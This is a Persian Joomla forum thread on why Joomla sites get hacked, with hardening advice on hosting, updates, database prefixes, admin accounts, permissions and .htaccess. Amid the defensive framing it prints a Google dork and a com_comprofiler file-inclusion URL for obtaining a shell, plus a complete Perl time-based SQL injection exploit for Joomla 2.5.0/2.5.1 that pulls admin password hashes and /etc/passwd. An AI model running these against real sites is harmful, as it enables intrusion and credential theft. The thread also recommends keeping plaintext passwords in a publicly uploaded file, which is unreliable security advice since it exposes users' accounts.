3- encrypt کردن پسورد داخل یک فایل متنی

اینم یک راه مناسب هست

یعنی اطلاعات کلیه رمز عبور و پسورد هامونو داخل یک فایل متنی بزاریم و اونو بوسیله یک نرم افزار file encrypter هست که کسی نتونه محتوای اون فایل رو ببینه

مثل نرم افزار

Advanced Encryption Package Pro

4- یک راه ابتکاری اما ریسک پذیر

اینکه بیاید کل رمز عبور و نام کاربریاتونو داخل یک فایل متنی بزارید

و برای هر سایتتنون یک کد رمز مثل site a site b انتخاب کنید که فقط خودتون بدونید هر کدوم برای کدوم سایت هست و اون فایل رو داخل یک سایت آپلود مثل پرشین گیگ آپلود کنید و هر سری که میخواید رمز وارد کنید به آدرسی که فایل رو آپلود کردید رو بزنید اما چند نکته رو رعایت کنید وگرنه رمز ها رو هواست!!!!!!

اول اینکه آدرس اکانتتونو به هیچ کسی ندید و عمومیش نکنید!!!!! چون با گوگل میشه ردشو زد

در واقع نکته اساسی در امن بودن این روش ناشناس بودنشه و بعد اینکه داخل فایل متنی به هیچ وجه همراه رمز عبور و نام کاربریتون اسم سایت رو اصلا وارد نکنید چون اگه داخل

گوگل سرچ کنه لو میره ولی اگه اسم هیچ سایتیو داخل فایل نزارید و به هر سایت یه کد بدید مثلاه site a حتی اگه فایل لو بره معلوم نیست مال کیه و برای کدوم سایت هست!!

دوم اسم فایل متنیو بی ربط بزارید و بی معنی!! اسمشو نزارید passwords.txt !!!!!!

سوم یک فولدر بی ربط بسازید و فایل رو داخل اون آپلود کنید

چهارم فولدری که داخلش فایل متنیو آپلود کردید حتما حتما داخلش یک فایل خالی index.html ایجاد کنید که کسی نتونه با زدن آدرس فولدر محتویات فولدر رو ببینه که....!!!!

پنجم اینکه هر چند وقت یکبار اسم فایل و فولدر رو عوض کنید

یک مثال

مثلا اسم فولدری که من داخلش فایل آپلود کردم هست fover114

و اسم فایل متنی هست sironomin478.txt

و آدرس اکانت من در پرشین گیگ هست www.site.persiangig.com

خوب من برای رویت فایل باید آدرس زیر رو در مرورگر وارد کنم

www.fover114.persiangig.com/sironomin478.txt

این روش رو من دو سال استفاده کردم و هک نشدم و خیلیم ازش راضی بودم رمز هاست و دامین و سایت و ایمیل و.... داخلش بود

ولی بازم تاکید میکنم این روش همونطور که راحت و امن هست میتونه خطرناک و نا امن هم باشه ولی اگه موارد بالا رو رعایت کنید و از همه مهمتر فایلتون ناشناس باشه و هیچ اطلاعاتی از خودتون و سایت هایی که رمزشونو داخل فایل گزاشتید نباشه حتی در صورت لو رفتن هم بازم امن هست!!!

پایدار و سربلند باشید

:auizz3ffy9vla57584x

ویرایش شده در توسط Pooyan Afzali

Share this post


Link to post
Share on other sites

درود

با تبریک سال جدید و آرزوی موفقیت برای شما عزیزان و وبستران جوملایی

متاسفانه اخیرا شاهد این هستیم که سایت های جوملایی ایران توسط گروههای هک عربی و جدیدا هم ترکیه ای

هک شده و میشه و این باعث تاسف و ناراحتی

همه ها هست برای همین تصمیم گرفتم در مورد علل هک شدن یک سایت جوملایی از طریق سایت توضیحاتی رو ارائه بدم

بازم تاکید میکنم من اینجا فقط علل هک بدلیل ضعف خود سایت جوملایی رو بررسی میکنم و در واقع علل هک از طریق

سایت رو میگم و فقط یه توضیح مختصر در مورد هک سرور میگم.

چرا که سرور از دسترس کاربر جوملا خارج هست و من قصد دارم روی عواملی تاکید کنم که خود مدیر سایت توانایی

کنترل اونا رو داره و اگه علل هک از طریق سرور رو هم بگم مدیر سایت کاری نمیتونه انجام بده و فقط توسط مدیر سرور قابل دسترس

هست که اونم داخل ایران زیر مجموعه یک دیتاسنتر در یک کشور خارجی هست (چون هزینه سرور و دیتاسنتر داخل ایرانی خیلی بالاست)

هر چند بعضی از سایت های جوملایی که هک شدند بدلیل ضعف سایت نبوده و بدلیل ضعف در سرور و یا دیتاسنتر بوده که

در این موراد صاحب سایت قربانی ضعف سرور میشه

و تقصیری نداره

مقدمه

همونطور که میدنید هک یا طریق سرور هست که هکر میاد بوسیله یک باگ در سرور یه شل یا روت کیت و ..... روی سرور

سوار میکنه و به تمام سایت هایی که روی سرور یا دیتاسنتر قرار دارند

دسترسی پیدا میکنه که اینجا دیگه هیچ کاری از دست صاحبان سایت برنمیاد به جز داشتن بک آپ و بازگردانی!!!

که اخیرا هم شاهد بودیم که یک هکر ترکیه ای اومد روی دیتاسنتر leaseweb که در کشور هلند هست و سایت های

معروف ایرانی مثل آشیانه پی سی دانلود و.. روش سوار هستند رو یک روت کیت روی دستاسنتر نصب کرد و باعث دیفیس

شدن سایت آشیانه شد که اصلا ربطی به دلیل ضعف سایت آشیانه و حتی سرورشون نداشت

(طبق بیانیه ای که ارائه دادن) و از دیتاسنتر خوردن و قربانی ضعف اون شدن!

یک موقع دیگه هست که ربطی به سرور نداره و فقط بدلیل بی دقتی و کم توجهی خود مدیر سایت هک ایجاد میشه و حتی ممکنه

باعث هک شدن سرور هم بشه!! که بحث اصلی من اینجاست!

و من در اینجا مورد دوم رو مورد بحث قرار میدم فقط در مورد سروری که ازش هاست گرفتید چند تا نکته

میگم که حد اقل قربانی اولی نشید چون خداییش خیلی بی انصافیه

و ظلم هست که بدلیل اشتباه سرور کلی سایت بره رو هوا!! بقولی آش نخورده و دهن سوخته!!

لطفا برید و توضیحات منو در مورد انتخاب سرور یه بار مرور کنید و برگردید اینجا! من اینجا دوباره نکاتی رو ارائه میدم

اول اینکه لطفا از شرکت هایی که واقعا شناختی ندارید هاست نگیرید و حد اقل اسمشونو داخل گوگل

یه جستجو بزنید و همچنین داخل سایت zone-h یه جستجو کنید

دوم اینکه به تبلیغات سایت ارائه دهنده سرور خیلی توجه نکنید و صحت خدمات ارائه شدشونو بررسی کنید

یکسری تنظیمات مخصوص سایت های جوملایی باید روی سرور فعال و غیر فعال بشه که بعدا قسسمت های بعدی میگم

سوم حتما از مسول فنی سرور بپرسید که از کدوم دیتاسنتر سرویس میگیرند و اسمشو یه جستجو بکنید

ببین داخل فروم ها در موردش چی میگن؟ آیا سابقه هک شدن داره؟ چند بار؟ از چه روشی؟ و... و از متخصصین هاستینگ

در فروم webhostingtalk هم حتما مشورت بگیرید البته مراقب تبلیغات باشید!!!

چهارم اینکه در خدمات هاستینگ بعضی از شرکت ها واقعا کارشون عالی هست ولی قیمتشون یکم بالاست که باید توجه کنید

بالا بودن قیمت بشرط بالا بودن امنیت واقعا می ارزه و وقتی میبینید فلان سرور طی چند سال اخیر اصلا هک نشده ارزششو داره یکم

گرون تر ازش هاست بگیرید در واقع میخوام اینو بگم بعضی از شرکت های سرویس دهنده هاست میان با تبلیغات زیاد و هاست اختصاصی

و خلاصه یکسری جملات باعث میشن کاربران گمراه بشن چرا که گرفتن نمایندگی سرور اختصتصی اصلا کار سختی نیست در واقع گرفتن

نمایندگی سرور و فروش هاست اصلا مهم نیست مهم مدیریت صحیح و درست پیکر بندی کردن سرور هست!! این خیلی مهمه ! یعنی اون

شخصی که مسول فنی سرور و پیکر بندی کردن سرور و مدیریت دستورات و مسول انیت سرور و حتی دیتا سنتر هست چقدر تونسته راه های

نفوذ رو ببنده چقدر بروز هست؟ از چه روش هایی برای امنیت استفاده میکنه؟ چقدر به لینوکس و ویندوز و دستورات آشنایی داره ..... !

هر چند امنیت هیچوقت 100 نیست و بالاخره هر کاری یه راهی داره اما اینکه ضعف بارز باشه و عملا باعث هک شدن بشه خیلی بده!

اینا چیزایی بود که در مورد سرور میشد گفت و کاربردی بود حالا بازم بعدا اگه دوباره موردی بود بازم میگم

قسمت دوم رو در پست بعدی میزارم که اختصاص داره به مهمترین علل هک شدن سایت های جوملایی که خیلی خیلی کاربردی هست

ویرایش شده در توسط Pooyan Afzali

Share this post


Link to post
Share on other sites

علل هک شدن سایت های جوملایی

خوب در این قسمت به دنبال پست قبلی میام مهمترین عللی که باعث میشن یک سایت جوملایی هک بشه رو بررسی میکنم و قدم به قدم میگم

که چه عواملی زنگ خطر امنیت سایت هستند و اگه بهشون توجه نکنید هر کدوم به تنهایی میتونه یک خطر مهم محسوب بشه

نکته:

هر عامل رو در یک پست مجزا توضیح میدم که راحت تر در دسترس باشه

علل رو بدون ترتیب اهمیت و تصادفی گزاشتم و اولویت بندی نکردم

ممکنه بعضی از عوامل بسته به نسخه جوملا متفاوت باشه و صرفا برای یک نسخه گفته شده باشه و عمومی نباشه

ممکنه بعضی عوامل بسته به نوع و تنظیمات سایت باشه و صداقش در سایت شما نباشه

کپی رایت انجمن رو رعایت کنید لطفا

اولین عامل

بروز نبودن افزونه های نصب شده!

این شاید یکی از مهم ترین علت هک شدن سایت های جوملایی باشه! خیلی باید مراقب این عامل باشید چون خیلی از حملات هک

بدلیل وجود یک افزونه قدیمی هست ! حالا چطوری؟

ببینید بهر حال به مرور زمان در یک کد ممکنه یک آسیب پذیری کشف بشه و این خیلی مهمه که سازنده اون افزونه سریعا بیاد

و دیباگ کنه و نسخه اصلاح شده اون افزونه رو منتشر کنه در غیر این صورت وجود اون افزونه تبدیل به پاشنه آشیل سایت شما میشه .

حالا چطور وجود یک باگ در افزونه قدیمی باعث هک شدن میشه؟

ببینید یه بحث هست بنام دورک (dork) که در واقع یک الگوریتم جستجوی پیشرفته هست و هکر با دونستن بک باگ در یک افزونه

میاد واسش یه دورک میسازه و مثلا به گوگل میگه تمام سایت هایی که فلان افزونه فلان نسخه روشون نصب هست رو برام پیدا کن

و این کار در عرض چند ثانبه انجام میشه!! به همین راحتی!! بنابرین اکیدا و شدیدا توصیه میکنم همیشه افزونه های سایتتونو بروز نگه دارید

و در صورت وجود پچ بروز رسانی حتما اونو بروز کنید تا سایتتون تبدیل به یک دورک خوشمزه واسه هکر نشه و براحتی قابل دسترس نباشیده

بعد اینکه بعضی از افزونه ها دیگه پشتیبانی نمیشند و مثلا تا سال 2010 بروز رسانی میشده توسط سازنده اینجا دو تا نکته هست اول

یا باید بیخیال اون افزونه بشید و برید مورد مشابه بروز شدشو نصب کنید که کارایی همونو داره دوم اینکه اگه میخواید همچنان از اون

افزونه قدیمی استفاده کنید حتما به سازندش یه ایمیل بزنید و از وجود باگ یا امن بودن آخرین نسخش مطمئن بشید که باگی

نداره و یا جستجو کنید در غیر این صورت با ریسک بالا از اون افزونه استفاده کنید

حتما به سایت زیر برید و لیست باگ های موجود در افزونه های جوملایی رو چک کنید

در این سایت اومده تمامی افزونه هایی که ازشون باگ کشف شده رو لیست کرده و وضعیت افزونه رو مشخص کرده که مثلا براش پچ اومده یا نه کلا باید پاکش کنید

http://docs.joomla.org/Vulnerable_Extensions_List_oct#JB_Microblog

مثال

مثلا من اومدم واسه کامپوننت com_comprofiler یه دورک ساختم که هر سایتی که این کامپوننت نصب هست رو بهمون نشون بده

inurl:"com_comprofiler"

که وقتی وارد سایت مورد نظر شدید با رفتن به آدرس

administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=shell

میتونستید ازش شل بگیرید

البته این صرفا یک مثال آموزشی بود و جنبه هک نداره چون این باگ برای نسخه های قبلی این افزونه بود که میشد ازش شل گرفت و خیلیا هم

به این دلیل رفتن رو هوا! ولی در نسخه های بعدی برطرف و دیباگ شد و دیگه قابل استفاده نیست

منتظر قسمت های بعد باشید

ویرایش شده در توسط Pooyan Afzali

Share this post


Link to post
Share on other sites

درود

دوم

بروز نبودن هسته جوملا

دومین عامل هک شدن یک سایت جوملایی بروز نبودن هسته هست ، هرچند هسته جوملا خیلی قوی و امن هست اما بعضی مواقع ازش یه باگ هایی بیرون میاد که میتونه منبجر به هک شدن بشه

البته بلافاصله واسش پچ میاد اما خیلیا توجهی نمیکنن

بزارید چند تا مثال عملی و عینی بزنم تا بیشتر متوجه اهمیت بروز رسانی رو متوجه بشید

میدونید که جدیدا بسته بروز رسانی جوملا 2.5.3 اومد ، میدونید علتش چیه؟؟؟

علتش کشف باگ SQL Injection در جوملا 2.5.0 و 2.5.1 بود (حملات تزریق کد) که هکر میتونه با تزریق کد سایت های جوملایی که نسخه ها 2.5.1 و 2.5.0 رو بزنه!!!

و خیلیا هم هنوز بروز رسانی نکردند

حالا چطوری 2.5.1 و 2.5.0 میره رو هوا؟؟

هکر میاد واسه سایت های جوملایی که هنوز بروز رسانی نکردند یه دورک میسازه و سایت ها رو شناسایی میکنه و بعد...

اینم کد اکسپلویت هک هکردن جوملا 2.5.1 و 2.5.0

#!/usr/bin/perl
# Thu Mar 15 22:55:32 CET 2012 A. Ramos <aramosf()unsec.net>
# www.securitybydefault.com
# Joomla <2.5.1 time based sql injection - vuln by Colin Wong
# 
# using sleep() and not benchmark(), change for < mysql 5.0.12 
#
# 1.- Database name: database()
# 2.- Users data table name: (change 'joomla' for database() result) 
# 	select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users"
# 3.- Admin password: (change zzz_users from previus sql query result)
# 	select password from zzzz_users limit 1



use strict;
use LWP::UserAgent;
$| = 1;


my $url = $ARGV[0];
my $wtime = $ARGV[1];
my $sql = $ARGV[2];

unless ($ARGV[2]) {
print "$0 <url> <wait time> <sql>\n";
print "\texamples:\n";
print "\t get admin password:\n";
print "\t\t$0 http://host/joomla/ 3 'database()'\n";
print "\t\t$0 http://host/joomla/ 3 'select table_name from information_schema.tables where table_schema=\"joomla\" and table_name like \"%25_users\"\'\n";
print "\t\t$0 http://host/joomla/ 3 'select password from zzzz_users limit 1'\n";
print "\t get file /etc/passwd\n";
print "\t\t$0 http://host/joomla/ 3 'load_file(\"/etc/passwd\")'\n";
exit 1;
}

my ($len,$sqldata);

my $ua = LWP::UserAgent->new;
$ua->timeout(60);
$ua->env_proxy;

my $stime = time();
my $res = $ua->get($url);
my $etime = time();
my $regrtt = $etime - $stime;
print "rtt: $regrtt secs\n";
print "vuln?: ";

my $sleep = $regrtt + $wtime;
$stime = time();
$res = $ua->get($url."/index.php/404' union select sleep($sleep) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) { print "ok!\n"; } else { print "nope \n"; exit 1; }


my $lenoflen;
sub len {
# length of length
for (1..5) { 
my $sql=$_[0];
$stime = time();
$res = $ua->get($url."/index.php/404' union select if(length(length(($sql)))=$_,sleep($wtime),null) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) {
	$lenoflen = $_;
	last;
}
}
for (1..$lenoflen) {
 my $ll;
 $ll=$_;
 for (0..9) {
my $sql=$_[0];
$stime = time();
$res = $ua->get($url."/index.php/404' union select if(mid(length(($sql)),$ll,1)=$_,sleep($wtime),null) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) {
	$len .= $_;
}
 }
}
return $len;

}

sub data {
my $sql = $_[0];
my $len = $_[1];
my ($bit, $str, @byte);
my $high = 128;

for (1..$len) {
	my $c=8;
	@byte="";
my $a=$_;
for ($bit=1;$bit<=$high;$bit*=2) {
	$stime = time();
	# select if((ord(mid((load_file("/etc/passwd")),1,1)) & 64)=0,sleep(2),null) union select '1';
	$res = $ua->get($url."/index.php/404' union select if((ord(mid(($sql),$a,1)) & $bit)=0,sleep($wtime),null) union select '1");
	$etime = time();
	my $rtt = $etime - $stime;
	if ($rtt >= $regrtt + $wtime) {
		$byte[$c]="0";
	} else { $byte[$c]="1"; }
$c--;
}
  	$str = join("",@byte);
print pack("B*","$str");
 } 
}

$len = len($sql);
print "$sql length: $len\n";
print "$sql data:\n\n";
data($sql,$len);

یا مثلا در هسته جوملا 1.6.3 یه باگ خطرناک xss کشف شد که بازم خیلیا رو هک کردن با اون باگ!!

لطفا از اکسپلویت برای هک کردن سایت استفاده نکنید بلکه صرفا جهت اطلاع بود و بس!!!

خواستم بدونید اهمیت بروز رسانی هسته جوملا چقدر بالاست همین!!!

Share this post


Link to post
Share on other sites

درود

سوم

پیشفرض بودن ،پیشوند پایگاه داده

سومین عامل هک شدن سایت های جوملایی پیشفرض بودن پیشوند پایگاه داده هست

علت؟

مهمترین علتش اینه که چون jos پیشوند پیشفرض جوملا هست، با تغییر ندادن این عبارت کار هکر رو خیلی راحت تر کردید برای حملات تزریق کد

همچنین برای سایتهایی که پیشوند پایگاه دادشون jos هست چندین اکسپلویت هست که میشه با اونا سایت رو هک کرد..!!!!

چرا؟

چون حملات تزریق کد برای پیدا کردن یوزر و پسورد مدیر سایت میاد از جدول jos_user استفاده میکنند و خیلی از کاربران این پیشوند رو تغییر نمیدند

و وقتی تونست به جدول یوزر ها دسترسی پیدا کنه ...!

میدونید که در داخل این جودل اطلاعات کامل تمام کاربران از جمله مدیریت با تمام جزیات مثل پسورد و.. داخلش هست

با پیدا کردن کاربری مدیر سایت و همچنین کرک کردن پسورد مدیر (چون پسورد بصورت هش شده هست و اگه رمز عبور قوی انتخاب نکرده باشید.....!!!!!) براحتی سایت رو هک میکنه!!!

به همین راحتی با عوض نکردن پیشوند پایگاه داده سایتتون خودتونو در معرض هک شدن قرار میدید!!!!

حالا چطور عوض کنیم:

1- یا باید وارد phpmyadmin بشید و از دیتابیس export بگیرید و داخل نرم افزار notpad++ باز کنید و تمام jos ها رو به عبارت مورد نظر تغییر بدید و دوباره ایمپورت کنید

2- یا اینکه میتونید از کامپوننت admin tools استفاده کنید که راحت ت هست و با یک کلیک همه رو انجام میده

با تغییر این نام براحتی جلوی خیلی یا شایدم همه حملات تزریق کد از طریق جدول کاربران و یا حتی جدول کامپوننت ها رو میگیرید

و میتونید خاطر جمع باشید که حداقل از طریق بدست اومدن جدول کاربری جوملا هک نمیشید و به این ترتیب یک سد قوی دیگه در برابر حملات هک قرار دادید

پیروز و پایدار باشید

ویرایش شده در توسط Pooyan Afzali

Share this post


Link to post
Share on other sites

درود

چهارم

پیشفرض بودن شناسه کاربری super administrator

میدونید که وقتی جوملا رو نصب میکینید بصورت خودکار یک کاربر بنام admin با شناسه 62 ایجاد میشه (جوملا 1.5 به بالا شناسه 42 ایجاد میشه)که همون مدیر کل هست

وجود این نام کاربری با این شناسه میتونه خطرناک باشه چرا که هکر بصورت پیشفرض میدونه شناسه ادمین شما چند هست و با پیدا کردن یک باگ و اتصال اون به شناسه ادمین

و دسترسی به این شناسه میتونه به سایت شما دسترسی داشته باشه

راه حل

1-از مدیریت کاربران یک کاربر جدی بسازید و بهش دسترسی مدیر کل رو بدید ، بعد از پنل مدیریت خارج شده و با کاربری جدیدی که ساختید وارد بشید و کاربر admin رو پاک کنید

البته این کار بازم خیلی قوی نیست چرا که نام گزاری شناسه بترتیب هست و بعد از 62 عدد 63 و بعد از عدد 42 عدد 43 جایگزین میشه که بازم قابل حدس هست

2- میتونید از افزونه admin tools استفاده کنید

3- اگه دستورات mysql رو بلد هستید میتونید از اون روش هم استفاده کنید

در اینجا نحوه ایجاد نام کاربری بوسیله دستورات my sql رو قرار میدم که توسط دستور replace بجای insert انجام میشه که از خطای دیتابیس موجود است جلوگیری کنیم

REPLACE INTO `jos_users` (`id`, `name`, `username`, `email`, `password`, `usertype`, `block`, `sendEmail`, `gid`, `registerDate`, `lastvisitDate`, `activation`, `params`) VALUES ('60', 'T. Hacker', 'hacker', '
hackme@example.com', '18b42a5df78808abca92bc021a191991:abcdefghijklmnopqrstuvwxyz012345', 'Super Administrator', '0', '0', '25', '2000-01-01 00:00:00', '0000-00-00 00:00:00', '', '');

جدول پیشفرض jos_user هست اگه پیشوند جدول رو تغییر دادید اونو جایگزین کنید

در اینجا کا یک نام کاربری بنام T. Hacker با شناسه 60 با رمز عبور hacker ایجاد کردیم که خودتون میتونید مقادیر این دو تا و تغییر بدید

REPLACE INTO `jos_core_acl_aro` (`id`, `section_value`, `value`, `order_value`, `name`, `hidden`) VALUES ('8', 'users', '60', '0', 'T. Hacker', '0');

اینجا ما یک ARO OBJECT یا Access Request Object با شناسه 8 میسازیم. توجه کنید قسمت نام و شناسه در این دستور دقیقا مطابق با نام و شناسه ای که در دستور اول وارد کریم باشه!!

REPLACE INTO `jos_core_acl_groups_aro_map` (`group_id`, `section_value`, `aro_id`) VALUES ('25', '', '8');

در اینجا ما گروه کاربری رو با شناسه 25 ایجاد . به aro oject متصل می کنیم

منبع کد :

http://www.dionysopoulos.me

ترحمه انجمن جوملای ایران

ویرایش شده در توسط Pooyan Afzali

Share this post


Link to post
Share on other sites

درود

پنجم

عدم پیکربندی صحیح مجوز پوشه ها و فایلها

پیکربندی صحیح مجوز پوشه ها شامل چند مورد میشه که اگه درست انجام بشه تا حد زیادی باعث هک نشدن میشه و یک سد دیگه برای هکر هاست

چطور؟

یکی از روش های متداول هک کردن آپلود اسکریپت مخرب به سایت هست و گرفتن شل!!

فرض کنید امکانی رو برای سایتون و یا کاربراتون ایجاد کردید که میتونن فایل آپلود کنن مثل عکس و...

حالا اگه پوشه ای که فایلها داخلش اپلود میشن رو درست پیکر بندی نکنید هر فایلی مجوز آپلود داره و بیشتر فایل های شل

یا پسوند js یا php دارند و هکر میاد عضو میشه و کد شل رو اپلود میکنه و....

داخل یه پوشه هایی اصلا نباید هیچ فایلی آپلود بشه کلا باید ببندینش

داخل یه پوشه هایی فایلهایی با پسوند های خاص میتونه اپلود بشه،باید محدود کنید

داخل یک پوشه هایی فقط مدیریت باید فایل آپلود کنه ، باید دسترسی مدیریت بزارید برای اون پوشه

یک پوشه هایی رو فقط باید محدود به آی پی های خاصی کنید مثل پوشه مدیریت(بعدا مفصلا در مورد امنیت پوشه مدیریت توضیح میدم)

بعضی پوشه ها محتویاتش اصلا نباید دیده بشه!!

مجوز فایلها

مهمترین فایلهایی که باید حتما از دسترسی بهشون جلوگیری کنید فایلهای زیر هست

htaccess

php.ini

configuration.php

index.php

که هم باید مجوز رو 644 بزارید و هم توسط htaccess عدم دسترسی و فراخوانی کنید

تمام این کارها رو با htaccess میتونید انجام بدید

مورد بعدی مجوز پوشه هست که باید روی 755 باشه!! اینقدر که این مهمه که...!!! اما بازم میبینم بعضی از دوستان پوشه هاشون باز هست!!!!

چیزایی که گفتم شاید ساده باشه اما اگه بگم همین دوهفته پیش یک سایت که کارش فروش لایسنس نرم افزارها بود

با همین روش آپلود شل در پوشه آپلود عکس هاش رفت رو هوا و کلی لایسنس ازش کش رفتن اونوقت متوجه میشید که چقدر مهمه پوشه هاتونو درست تنظیم کنید

در واقع دروازتونو محکم ببندین که هر کسی وارد شهرتون نشه!!!

1 کاربر پسند دیده است

Share this post


Link to post
Share on other sites

درود

ششم

ایمن نبودن پوشه administrator

یکی دیگه از علل هک شدن سایت جوملایی نا امن بودن و دم دست بودن پوشه administrator هست که به طرق مختلفی میتونید امنش کنید

پیامد های نا امن بودن این پوشه رو توضیح نمیدم که همتون دیگه میدونید....

1- گزاشتن رمز روی پوشه administrator

این یکی از ساده ترین و بهترین راه ها هست که بوسیله هاست انجام میشه و یا با htaccess میتونید روی پوشه مورد نظرتون رمز بزارید

2- استفاده از پلاگین های تغییر دهنده مسیر administrator

بهترینشون jsecure هست که تجاریه و مشابهش admin exile هست که رایگانه و کارشون یکیه

که آدرس به صورت http://www.yourdomain.com/administrator/?yourkey تغییر میکنه

افزونه های متعددی برای این کار هست

http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection

3- محدود کردن پوشه administrator به آی پی های خاص:

این راه خیلی عالی و خوبه و به این صورت هست که داخل فولدر administrator یک فایل بنام htaccess ایجاد میکنید و تعیین میکنید که فقط آی پی های خاصی

میتونند دسترسی به این پوشه داشته باشند و اینطوری حتی اگه کسی یوزر و پسورد مدیریت شما رو هم داشته باشه اصلا نمیتونه وارد صفحه مدیریت بشه که بخواد رومز رو وارد کنه

برای این کار داخل htaccess فولدر مدیریتتون کد ساده زیر رو وارد کنید

Order deny,allow
Deny from all
Allow from165.47.65.75

ادرس

اینجا من آی پی 165.47.65.75 رو مجاز دونستم برای دسترسی به مسیر

http://www.yourdomain.com/administrator

و فقط با با این آی پی میشه وارد مسیر مدیریت شد و بقیه نمیتونند!!

شما باید لیست آی پی هایی که باهاشون وارد مدیریت میشید رو جایگزاری کنید

مثلا آی پی سیستم خونگیتون ، محل کارتون و...

برای این کار به سایت

www.whatismyip.com

مراجعه کنید تا آی پی واقعی سیستمی که ازش استفاده میکنید رو بدونید

نکته:

این پست ممکنه در آینده تکمیل بشه

Share this post


Link to post
Share on other sites

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری